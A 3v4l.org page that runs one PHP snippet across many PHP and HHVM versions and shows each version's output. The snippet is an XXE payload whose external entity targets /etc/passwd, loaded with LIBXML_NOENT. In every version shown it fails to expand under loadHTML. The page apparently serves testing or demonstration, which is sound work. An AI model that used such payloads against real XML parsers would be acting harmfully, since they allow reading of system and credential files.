3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $xml = '<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>'; $doc = new DOMDocument; $doc->loadHTML($xml, LIBXML_NOENT); echo $doc->saveXML();
based on KrPlu
Output for 5.4.0 - 5.6.28, 7.0.0 - 7.1.0
Warning: DOMDocument::loadHTML(): DOCTYPE improperly terminated in Entity, line: 1 in /in/vSXdt on line 8 Warning: DOMDocument::loadHTML(): htmlParseStartTag: invalid element name in Entity, line: 2 in /in/vSXdt on line 8 Warning: DOMDocument::loadHTML(): htmlParseStartTag: invalid element name in Entity, line: 3 in /in/vSXdt on line 8 Warning: DOMDocument::loadHTML(): Tag foo invalid in Entity, line: 3 in /in/vSXdt on line 8 <?xml version="1.0" standalone="yes"?> <!DOCTYPE foo> <html><body><p>]&gt;<foo>&amp;xxe;</foo></p></body></html>
Output for hhvm-3.10.0 - 3.12.0
Warning: DOCTYPE improperly terminated in Entity, line: 1 Warning: htmlParseStartTag: invalid element name in Entity, line: 2 Warning: htmlParseStartTag: invalid element name in Entity, line: 3 Warning: Tag foo invalid in Entity, line: 3 <?xml version="1.0" standalone="yes"?> <!DOCTYPE foo> <html><body><p>]&gt;<foo>&amp;xxe;</foo></p></body></html>
Output for 5.1.0 - 5.3.29
Warning: DOMDocument::loadHTML() expects exactly 1 parameter, 2 given in /in/vSXdt on line 8 <?xml version="1.0"?>
Output for 5.0.0 - 5.0.5
Notice: Use of undefined constant LIBXML_NOENT - assumed 'LIBXML_NOENT' in /in/vSXdt on line 8 Warning: DOMDocument::loadHTML() expects exactly 1 parameter, 2 given in /in/vSXdt on line 8 <?xml version="1.0"?>
Output for 4.3.2 - 4.4.9
Fatal error: Cannot instantiate non-existent class: domdocument in /in/vSXdt on line 7
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Fatal error: Cannot instantiate non-existent class: domdocument in /in/vSXdt on line 7